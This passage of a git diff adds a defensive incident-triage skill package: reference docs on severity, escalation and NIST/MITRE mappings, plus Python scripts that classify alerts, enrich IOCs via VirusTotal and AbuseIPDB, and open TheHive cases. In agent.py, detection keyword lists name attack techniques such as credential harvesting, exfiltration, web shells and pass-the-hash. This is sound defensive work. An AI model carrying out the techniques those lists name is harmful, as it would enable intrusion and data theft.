violation | Informational | + +## Escalation Paths + +| Severity | Response Time | Escalation | +|----------|---------------|------------| +| Critical | 15 minutes | IR Team + CISO + Legal | +| High | 1 hour | SOC Tier 2 + IR Team | +| Medium | 4 hours | SOC Tier 2 | +| Low | 24 hours | SOC Tier 1 | +| Informational | Next business day | SOC Tier 1 | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Alert parsing and report generation | +| `enum` | stdlib | Severity level enumeration | +| `pathlib` | stdlib | Output directory management | +| `datetime` | stdlib | Triage timestamps | + +## References + +- NIST SP 800-61r2: https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final +- SANS Incident Handler's Handbook: https://www.sans.org/white-papers/33901/ +- TheHive: https://thehive-project.org/ diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/standards.md b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/standards.md new file mode 100644 index 00000000..0ed3d60a --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/standards.md @@ -0,0 +1,42 @@ +# Standards and Framework References - Incident Triage + +## NIST SP 800-61 Rev. 3 - Incident Triage Alignment +- **Detect (DE)**: Alert analysis and triage + - DE.AE-02: Potentially adverse events are analyzed to better understand associated activities + - DE.AE-03: Information is correlated from multiple sources + - DE.AE-04: The estimated impact and scope of adverse events is understood +- **Respond (RS)**: Incident classification and escalation + - RS.AN-03: Analysis performed to establish awareness of incident scope + - RS.CO-02: Incidents reported consistent with established criteria + +## SANS PICERL - Identification Phase +- Phase 2 focuses on detecting and validating security events +- Triage determines if an event qualifies as an incident +- Key activities: alert validation, initial scoping, severity assignment +- Triage SLAs: P1 <15 min, P2 <30 min, P3 <1 hour, P4 <4 hours + +## NIST Severity Classification (SP 800-61 Rev. 2, Table 3-2) +| Category | Definition | Examples | +|----------|-----------|----------| +| CAT 1 - Unauthorized Access | Individual gains access without permission | Compromised credentials, privilege escalation | +| CAT 2 - Denial of Service | Disruption of service availability | DDoS, resource exhaustion | +| CAT 3 - Malicious Code | Infection by malware | Virus, worm, trojan, ransomware | +| CAT 4 - Improper Usage | Violation of acceptable use policy | Unauthorized software, policy breach | +| CAT 5 - Scans/Probes | Reconnaissance activity | Port scans, vulnerability scans | +| CAT 6 - Investigation | Unconfirmed suspicious activity | Anomalous behavior under review | + +## MITRE ATT&CK - Triage Technique Mapping +- Map observed techniques to ATT&CK framework during triage +- Technique identification helps select appropriate playbook +- Tactic identification reveals attacker's current phase +- Reference: https://attack.mitre.org/ + +## FIRST CSIRT Services Framework +- Triage falls under "Event Management" service area +- Key functions: Monitoring and Detection, Event Analysis, Incident Coordination +- Reference: https://www.first.org/standards/frameworks/csirts/csirt_services_framework_v2.1 + +## US-CERT Federal Incident Reporting Guidelines +- Category definitions for federal incident reporting +- Reporting timeframes based on incident category +- Reference: https://www.cisa.gov/federal-incident-notification-guidelines diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/workflows.md b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/workflows.md new file mode 100644 index 00000000..6170f1ee --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/workflows.md @@ -0,0 +1,121 @@ +# Incident Triage with IR Playbooks - Detailed Workflow + +## Triage Decision Tree + +``` +Alert Received + | + v +Is alert from trusted/tuned detection rule? + |-- No --> Check rule logic, verify data source --> Potential false positive + |-- Yes --> Continue + | + v +Does alert match known false positive pattern? + |-- Yes --> Document, close as false positive, tune rule + |-- No --> Continue + | + v +Can indicator be enriched with external threat intel? + |-- Yes --> Enrich with VT, AbuseIPDB, OTX --> Add context + |-- No --> Continue with available data + | + v +What is the incident type? + |-- Malware --> Malware playbook + |-- Phishing --> Phishing playbook + |-- Unauthorized Access --> Access compromise playbook + |-- Data Exfiltration --> Data breach playbook + |-- Ransomware --> Ransomware playbook + |-- DoS/DDoS --> Availability playbook + |-- Insider Threat --> Insider playbook + | + v +Assign severity based on: + - Asset criticality x Threat level x Data sensitivity + | + v +Route to appropriate team with playbook +``` + +## Severity Assignment Matrix + +### Impact Score (1-4) +| Score | Asset Criticality | Examples | +|-------|------------------|----------| +| 4 | Critical | Domain controllers, production databases, financial systems | +| 3 | High | Email servers, web applications, file servers | +| 2 | Medium | Development systems, internal tools | +| 1 | Low | Test systems, non-production workstations | + +### Urgency Score (1-4) +| Score | Threat Status | Indicators | +|-------|-------------|------------| +| 4 | Active exploitation | Ongoing attack, real-time data loss | +| 3 | Confirmed compromise | Evidence of breach, but not active | +| 2 | Attempted attack | Blocked attack, no evidence of success | +| 1 | Reconnaissance | Scanning, probing, no exploitation attempt | + +### Final Severity = Impact x Urgency +| Score Range | Severity | Response Time | Escalation | +|------------|----------|--------------|------------| +| 12-16 | P1 Critical | Immediate (15 min) | CISO + IR Lead + Senior Analysts | +| 8-11 | P2 High | 30 minutes | IR Lead + Available Analysts | +| 4-7 | P3 Medium | 2 hours | Next available analyst | +| 1-3 | P4 Low | 24 hours (business hours) | Queued for analyst review | + +## Playbook Selection Guide + +### By Alert Source +| Alert Source | Likely Playbook | Key Triage Actions | +|-------------|----------------|-------------------| +| EDR - Malware detection | Malware IR | Check quarantine status, verify family | +| Email gateway - Phishing | Phishing IR | Extract IOCs, check delivery scope | +| SIEM - Authentication anomaly | Account Compromise | Verify account, check lateral movement | +| IDS/IPS - Exploit attempt | Vulnerability Exploitation | Verify patch status, check success | +| DLP - Data transfer | Data Exfiltration | Classify data, verify authorization | +| Cloud - Impossible travel | Cloud Account Compromise | Verify user, check API calls | + +### By MITRE ATT&CK Tactic +| Tactic | Playbook | Priority | +|--------|----------|----------| +| Initial Access (TA0001) | Perimeter Breach | P1-P2 | +| Execution (TA0002) | Malware/Code Execution | P1-P2 | +| Persistence (TA0003) | Backdoor/Implant | P2 | +| Privilege Escalation (TA0004) | Privilege Escalation | P1 | +| Defense Evasion (TA0005) | Security Tool Bypass | P2 | +| Credential Access (TA0006) | Credential Theft | P1-P2 | +| Discovery (TA0007) | Reconnaissance | P3 | +| Lateral Movement (TA0008) | Lateral Movement | P1 | +| Collection (TA0009) | Data Staging | P2 | +| Exfiltration (TA0010) | Data Breach | P1 | +| Impact (TA0040) | Ransomware/Destruction | P1 | + +## IOC Enrichment Workflow + +### Step 1: Automated Enrichment +1. Submit IPs to VirusTotal, AbuseIPDB, Shodan +2. Submit file hashes to VirusTotal, MalwareBazaar, Hybrid Analysis +3. Submit domains to URLScan.io, VirusTotal, PassiveTotal +4. Check against internal IOC database and watchlists + +### Step 2: Context Addition +1. Look up asset in CMDB for criticality and owner +2. Check user in HR system for role and access level +3. Verify network zone and data classification +4. Cross-reference with recent threat intelligence reports + +### Step 3: Correlation +1. Search SIEM for related alerts in past 72 hours +2. Check if same IOCs appeared in other incidents +3. Correlate with ongoing threat campaigns +4. Verify if alert is part of a larger attack chain + +## Triage Documentation Requirements +1. Alert details (source, time, raw data) +2. Enrichment results (reputation scores, intelligence hits) +3. Classification decision (incident type, severity, justification) +4. Selected playbook and version +5. Assigned team/analyst +6. Initial timeline of observed events +7. Known affected assets and accounts diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/agent.py b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/agent.py new file mode 100755 index 00000000..7ae2665b --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Agent for triaging security incidents with IR playbooks. + +Classifies alerts by incident type, assigns severity using a +structured matrix, selects the appropriate IR playbook, and +generates triage decisions with escalation recommendations. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime +from enum import Enum + + +class Severity(str, Enum): + CRITICAL = "critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "informational" + + +INCIDENT_TYPES = { + "malware": { + "keywords": ["malware", "trojan", "ransomware", "virus", "worm", "dropper", "c2", "beacon"], + "default_severity": Severity.HIGH, + "playbook": "malware-infection-playbook", + "escalation": "SOC Tier 2 + IR Team", + }, + "phishing": { + "keywords": ["phishing", "credential harvest", "suspicious email", "spear-phishing", "bec"], + "default_severity": Severity.MEDIUM, + "playbook": "phishing-response-playbook", + "escalation": "SOC Tier 2", + }, + "data_exfiltration": { + "keywords": ["exfiltration", "data leak", "dlp", "large upload", "dns tunnel", "unusual transfer"], + "default_severity": Severity.CRITICAL, + "playbook": "data-exfiltration-playbook", + "escalation": "IR Team + CISO", + }, + "unauthorized_access": { + "keywords": ["brute force", "credential stuffing", "privilege escalation", "lateral movement", + "pass-the-hash", "kerberoasting", "golden ticket"], + "default_severity": Severity.HIGH, + "playbook": "unauthorized-access-playbook", + "escalation": "SOC Tier 2 + AD Team", + }, + "denial_of_service": { + "keywords": ["ddos", "dos", "syn flood", "amplification", "volumetric", "resource exhaustion"], + "default_severity": Severity.HIGH, + "playbook": "ddos-response-playbook", + "escalation": "NOC + SOC Tier 2", + }, + "insider_threat": { + "keywords": ["insider", "policy violation", "unauthorized copy", "after hours", "terminated user"], + "default_severity": Severity.HIGH, + "playbook": "insider-threat-playbook", + "escalation": "IR Team + HR + Legal", + }, + "web_attack": { + "keywords": ["sqli", "xss", "rce", "web shell", "injection", "traversal", "deserialization"], + "default_severity": Severity.HIGH, + "playbook": "web-attack-playbook", + "escalation": "SOC Tier 2 + AppSec", + }, +} + +SEVERITY_MATRIX = { + "crown_jewel_affected": Severity.CRITICAL, + "active_exploitation": Severity.CRITICAL, + "multiple_systems": Severity.HIGH, + "single_system": Severity.MEDIUM, + "reconnaissance_only": Severity.LOW, + "policy_violation_minor": Severity.INFO, +} + + +class IncidentTriageAgent: + """Triages security incidents using structured IR playbooks.""" + + def __init__(self, output_dir="./incident_triage"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.triage_results = [] + + def classify_incident(self, alert_text): + """Classify alert into incident type based on keyword matching.""" + alert_lower = alert_text.lower() + scores = {} + for inc_type, config in INCIDENT_TYPES.items(): + score = sum(1 for kw in config["keywords"] if kw in alert_lower) + if score > 0: + scores[inc_type] = score + if not scores: + return {"type": "unknown", "confidence": 0} + best = max(scores, key=scores.get) + return {"type": best, "confidence": scores[best], "all_matches": scores} + + def assess_severity(self, classification, context=None): + """Determine severity using classification and contextual factors.""" + ctx = context or {} + inc_type = classification.get("type", "unknown") + config = INCIDENT_TYPES.get(inc_type, {}) + base_severity = config.get("default_severity", Severity.MEDIUM) + + if ctx.get("crown_jewel_affected"): + return Severity.CRITICAL + if ctx.get("active_exploitation"): + return Severity.CRITICAL + if ctx.get("systems_affected", 1) > 5: + return Severity.HIGH if base_severity != Severity.CRITICAL else Severity.CRITICAL + return base_severity + + def select_playbook(self, classification): + """Select appropriate IR playbook for the incident type.""" + inc_type = classification.get("type", "unknown") + config = INCIDENT_TYPES.get(inc_type) + if not config: + return {"playbook": "generic-incident-playbook", "escalation": "SOC Tier 1"} + return {"playbook": config["playbook"], "escalation": config["escalation"]} + + def build_triage_decision(self, alert_text, context=None): + """Complete triage: classify, assess, assign playbook.""" + classification = self.classify_incident(alert_text) + severity = self.assess_severity(classification, context) + playbook = self.select_playbook(classification) + + decision = { + "timestamp": datetime.utcnow().isoformat(), + "alert_summary": alert_text[:200], + "classification": classification, + "severity": severity.value, + "playbook": playbook["playbook"], + "escalation_to": playbook["escalation"], + "immediate_actions": self._get_immediate_actions(classification["type"], severity), + "containment_needed": severity in (Severity.CRITICAL, Severity.HIGH), + } + self.triage_results.append(decision) + return decision + + def _get_immediate_actions(self, inc_type, severity): + actions = { + "malware": ["Isolate affected host from network", "Collect memory dump", + "Block C2 indicators at firewall", "Preserve disk image"], + "phishing": ["Block sender domain at email gateway", "Search for other recipients", + "Reset credentials if clicked", "Report to anti-phishing service"], + "data_exfiltration": ["Block destination IPs/domains", "Disable compromised account", + "Preserve DLP logs", "Notify legal/compliance"], + "unauthorized_access": ["Disable compromised account", "Reset credentials", + "Review authentication logs", "Check for persistence"], + "denial_of_service": ["Enable DDoS mitigation", "Contact ISP/CDN", + "Capture traffic sample", "Identify attack vector"], + "insider_threat": ["Preserve evidence chain of custody", "Restrict account access", + "Monitor user activity", "Coordinate with HR"], + "web_attack": ["Enable WAF blocking mode", "Capture attack payloads", + "Check for web shells", "Review application logs"], + } + return actions.get(inc_type, ["Acknowledge and investigate", "Escalate to Tier 2"]) + + def prioritize_queue(self, alerts): + """Prioritize multiple alerts by severity and type.""" + severity_order = {Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2, + Severity.LOW: 3, Severity.INFO: 4} + decisions = [self.build_triage_decision(a["text"], a.get("context")) for a in alerts] + decisions.sort(key=lambda d: severity_order.get(Severity(d["severity"]), 5)) + return decisions + + def generate_report(self, alerts=None): + if alerts: + self.prioritize_queue(alerts) + report = { + "report_date": datetime.utcnow().isoformat(), + "total_triaged": len(self.triage_results), + "by_severity": {}, + "triage_decisions": self.triage_results, + } + for d in self.triage_results: + sev = d["severity"] + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + + out = self.output_dir / "incident_triage_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py '' [--crown-jewel] [--active-exploit]") + sys.exit(1) + alert = sys.argv[1] + context = {} + if "--crown-jewel" in sys.argv: + context["crown_jewel_affected"] = True + if "--active-exploit" in sys.argv: + context["active_exploitation"] = True + agent = IncidentTriageAgent() + agent.build_triage_decision(alert, context) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/process.py b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/process.py new file mode 100755 index 00000000..f075e5fb --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/scripts/process.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python3 +""" +Security Incident Triage Automation Script + +Automates incident triage workflow: +- Enriches IOCs with threat intelligence APIs +- Calculates severity based on asset criticality and threat level +- Selects appropriate IR playbook +- Creates incident tickets +- Generates triage report + +Requirements: + pip install requests pyyaml +""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime, timezone +from typing import Optional + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", +) +logger = logging.getLogger("incident_triage") + +# Incident type to playbook mapping +PLAYBOOK_MAP = { + "malware": {"playbook": "malware_ir_v2", "team": "malware_analysis"}, + "ransomware": {"playbook": "ransomware_ir_v3", "team": "ransomware_response"}, + "phishing": {"playbook": "phishing_ir_v2", "team": "email_security"}, + "unauthorized_access": {"playbook": "access_compromise_v2", "team": "identity_response"}, + "data_exfiltration": {"playbook": "data_breach_v2", "team": "data_protection"}, + "ddos": {"playbook": "ddos_response_v1", "team": "network_operations"}, + "insider_threat": {"playbook": "insider_threat_v2", "team": "insider_risk"}, + "account_compromise": {"playbook": "account_compromise_v2", "team": "identity_response"}, + "web_attack": {"playbook": "web_attack_v2", "team": "application_security"}, + "privilege_escalation": {"playbook": "privesc_ir_v1", "team": "identity_response"}, + "lateral_movement": {"playbook": "lateral_movement_v1", "team": "network_defense"}, + "supply_chain": {"playbook": "supply_chain_v1", "team": "third_party_risk"}, +} + +# Severity calculation weights +SEVERITY_WEIGHTS = { + "asset_criticality": {"critical": 4, "high": 3, "medium": 2, "low": 1}, + "data_sensitivity": {"pii_phi": 4, "pci": 3, "confidential": 2, "public": 1}, + "threat_status": {"active": 4, "confirmed": 3, "attempted": 2, "recon": 1}, + "scope": {"enterprise": 4, "department": 3, "single_system": 2, "single_user": 1}, +} + + +class IOCEnricher: + """Enrich IOCs with external threat intelligence sources.""" + + def __init__(self, vt_api_key: str = "", abuseipdb_key: str = ""): + self.vt_api_key = vt_api_key or os.getenv("VT_API_KEY", "") + self.abuseipdb_key = abuseipdb_key or os.getenv("ABUSEIPDB_KEY", "") + + def enrich_ip(self, ip_address: str) -> dict: + result = {"ip": ip_address, "sources": {}} + + # VirusTotal + if self.vt_api_key: + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/ip_addresses/{ip_address}", + headers={"x-apikey": self.vt_api_key}, + timeout=10, + ) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + result["sources"]["virustotal"] = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "harmless": stats.get("harmless", 0), + "undetected": stats.get("undetected", 0), + "reputation": data.get("reputation", 0), + "country": data.get("country", "unknown"), + "as_owner": data.get("as_owner", "unknown"), + } + logger.info(f"VT enrichment for {ip_address}: {stats.get('malicious', 0)} malicious") + except Exception as e: + logger.warning(f"VT enrichment failed for {ip_address}: {e}") + + # AbuseIPDB + if self.abuseipdb_key: + try: + resp = requests.get( + f"https://api.abuseipdb.com/api/v2/check", + params={"ipAddress": ip_address, "maxAgeInDays": 90}, + headers={"Key": self.abuseipdb_key, "Accept": "application/json"}, + timeout=10, + ) + if resp.status_code == 200: + data = resp.json().get("data", {}) + result["sources"]["abuseipdb"] = { + "abuse_confidence": data.get("abuseConfidenceScore", 0), + "total_reports": data.get("totalReports", 0), + "country_code": data.get("countryCode", ""), + "isp": data.get("isp", ""), + "is_tor": data.get("isTor", False), + } + logger.info(f"AbuseIPDB for {ip_address}: confidence={data.get('abuseConfidenceScore', 0)}%") + except Exception as e: + logger.warning(f"AbuseIPDB enrichment failed for {ip_address}: {e}") + + # Calculate overall threat score + vt_malicious = result.get("sources", {}).get("virustotal", {}).get("malicious", 0) + abuse_score = result.get("sources", {}).get("abuseipdb", {}).get("abuse_confidence", 0) + result["threat_score"] = min(100, (vt_malicious * 5) + abuse_score) + result["threat_level"] = ( + "critical" if result["threat_score"] >= 80 + else "high" if result["threat_score"] >= 50 + else "medium" if result["threat_score"] >= 20 + else "low" + ) + return result + + def enrich_hash(self, file_hash: str) -> dict: + result = {"hash": file_hash, "sources": {}} + if self.vt_api_key: + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/files/{file_hash}", + headers={"x-apikey": self.vt_api_key}, + timeout=10, + ) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + result["sources"]["virustotal"] = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "detection_names": list( + name for eng, det in data.get("last_analysis_results", {}).items() + if det.get("category") == "malicious" + for name in [det.get("result", "")] + )[:10], + "file_type": data.get("type_description", ""), + "file_name": data.get("meaningful_name", ""), + } + except Exception as e: + logger.warning(f"VT hash enrichment failed: {e}") + return result + + def enrich_domain(self, domain: str) -> dict: + result = {"domain": domain, "sources": {}} + if self.vt_api_key: + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/domains/{domain}", + headers={"x-apikey": self.vt_api_key}, + timeout=10, + ) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + result["sources"]["virustotal"] = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "reputation": data.get("reputation", 0), + "creation_date": data.get("creation_date", ""), + "registrar": data.get("registrar", ""), + } + except Exception as e: + logger.warning(f"VT domain enrichment failed: {e}") + return result + + +class SeverityCalculator: + """Calculate incident severity based on multiple factors.""" + + @staticmethod + def calculate(asset_criticality: str, data_sensitivity: str, + threat_status: str, scope: str) -> dict: + score = ( + SEVERITY_WEIGHTS["asset_criticality"].get(asset_criticality, 1) + + SEVERITY_WEIGHTS["data_sensitivity"].get(data_sensitivity, 1) + + SEVERITY_WEIGHTS["threat_status"].get(threat_status, 1) + + SEVERITY_WEIGHTS["scope"].get(scope, 1) + ) + if score >= 13: + severity, priority, response_time = "Critical", "P1", "15 minutes" + elif score >= 10: + severity, priority, response_time = "High", "P2", "30 minutes" + elif score >= 6: + severity, priority, response_time = "Medium", "P3", "2 hours" + else: + severity, priority, response_time = "Low", "P4", "24 hours" + + return { + "score": score, + "max_score": 16, + "severity": severity, + "priority": priority, + "response_time_sla": response_time, + "factors": { + "asset_criticality": asset_criticality, + "data_sensitivity": data_sensitivity, + "threat_status": threat_status, + "scope": scope, + }, + } + + +class PlaybookSelector: + """Select appropriate IR playbook based on incident type.""" + + @staticmethod + def select(incident_type: str) -> dict: + playbook = PLAYBOOK_MAP.get(incident_type.lower()) + if not playbook: + return { + "playbook": "generic_ir_v1", + "team": "general_ir", + "note": f"No specific playbook for type '{incident_type}', using generic", + } + return playbook + + +class TheHiveClient: + """Create and manage incidents in TheHive.""" + + def __init__(self, base_url: str, api_key: str): + self.base_url = base_url + self.api_key = api_key + + def _headers(self): + return {"Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json"} + + def create_case(self, title: str, description: str, severity: int, + tags: list, custom_fields: dict = None) -> dict: + payload = { + "title": title, + "description": description, + "severity": severity, + "tlp": 2, + "pap": 2, + "tags": tags, + } + if custom_fields: + payload["customFields"] = custom_fields + try: + resp = requests.post( + f"{self.base_url}/api/v1/case", + headers=self._headers(), + json=payload, + timeout=10, + ) + resp.raise_for_status() + return resp.json() + except Exception as e: + logger.error(f"Failed to create TheHive case: {e}") + return {"error": str(e)} + + +def generate_triage_report(alert_data: dict, enrichment: dict, + severity: dict, playbook: dict, output_path: str): + """Generate a triage assessment report.""" + report = { + "triage_report": { + "timestamp": datetime.now(timezone.utc).isoformat(), + "analyst": os.getenv("USERNAME", os.getenv("USER", "unknown")), + "alert_data": alert_data, + "enrichment_results": enrichment, + "severity_assessment": severity, + "playbook_assignment": playbook, + "decision": "escalate" if severity["priority"] in ("P1", "P2") else "investigate", + } + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2) + logger.info(f"Triage report saved to: {output_path}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Security Incident Triage Automation") + parser.add_argument("--alert-source", required=True, help="Source of the alert (e.g., SIEM, EDR)") + parser.add_argument("--alert-name", required=True, help="Alert rule name or title") + parser.add_argument("--incident-type", required=True, + choices=list(PLAYBOOK_MAP.keys()), + help="Classified incident type") + parser.add_argument("--src-ip", help="Source IP address to enrich") + parser.add_argument("--dest-ip", help="Destination IP address") + parser.add_argument("--file-hash", help="File hash (SHA256) to enrich") + parser.add_argument("--domain", help="Domain to enrich") + parser.add_argument("--asset-criticality", default="medium", + choices=["critical", "high", "medium", "low"]) + parser.add_argument("--data-sensitivity", default="confidential", + choices=["pii_phi", "pci", "confidential", "public"]) + parser.add_argument("--threat-status", default="confirmed", + choices=["active", "confirmed", "attempted", "recon"]) + parser.add_argument("--scope", default="single_system", + choices=["enterprise", "department", "single_system", "single_user"]) + parser.add_argument("--output-dir", default="./triage_output") + parser.add_argument("--thehive-url", default=os.getenv("THEHIVE_URL", "")) + parser.add_argument("--thehive-key", default=os.getenv("THEHIVE_API_KEY", "")) + + args = parser.parse_args() + os.makedirs(args.output_dir, exist_ok=True) + + # Enrich IOCs + enricher = IOCEnricher() + enrichment = {} + if args.src_ip: + enrichment["src_ip"] = enricher.enrich_ip(args.src_ip) + if args.file_hash: + enrichment["file_hash"] = enricher.enrich_hash(args.file_hash) + if args.domain: + enrichment["domain"] = enricher.enrich_domain(args.domain) + + # Calculate severity + severity = SeverityCalculator.calculate( + args.asset_criticality, args.data_sensitivity, + args.threat_status, args.scope, + ) + logger.info(f"Severity: {severity['severity']} ({severity['priority']}) - Score: {severity['score']}/{severity['max_score']}") + + # Select playbook + playbook = PlaybookSelector.select(args.incident_type) + logger.info(f"Playbook: {playbook['playbook']} - Team: {playbook['team']}") + + # Create ticket in TheHive if configured + if args.thehive_url and args.thehive_key: + thehive = TheHiveClient(args.thehive_url, args.thehive_key) + severity_map = {"Critical": 4, "High": 3, "Medium": 2, "Low": 1} + case = thehive.create_case( + title=f"[{severity['priority']}] {args.alert_name}", + description=f"Triage: {args.incident_type} incident from {args.alert_source}", + severity=severity_map.get(severity["severity"], 2), + tags=[args.incident_type, severity["priority"], "triage-complete"], + custom_fields={"playbook": {"string": playbook["playbook"]}}, + ) + logger.info(f"TheHive case created: {case}") + + # Generate report + alert_data = { + "source": args.alert_source, + "name": args.alert_name, + "type": args.incident_type, + "src_ip": args.src_ip, + "dest_ip": args.dest_ip, + } + report_path = os.path.join(args.output_dir, f"triage_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json") + generate_triage_report(alert_data, enrichment, severity, playbook, report_path) + + print(f"\nTriage Complete") + print(f"Severity: {severity['severity']} ({severity['priority']})") + print(f"Playbook: {playbook['playbook']}") + print(f"Response SLA: {severity['response_time_sla']}") + print(f"Report: {report_path}") + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-security-incident/LICENSE b/skills/cybersecurity/triaging-security-incident/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in 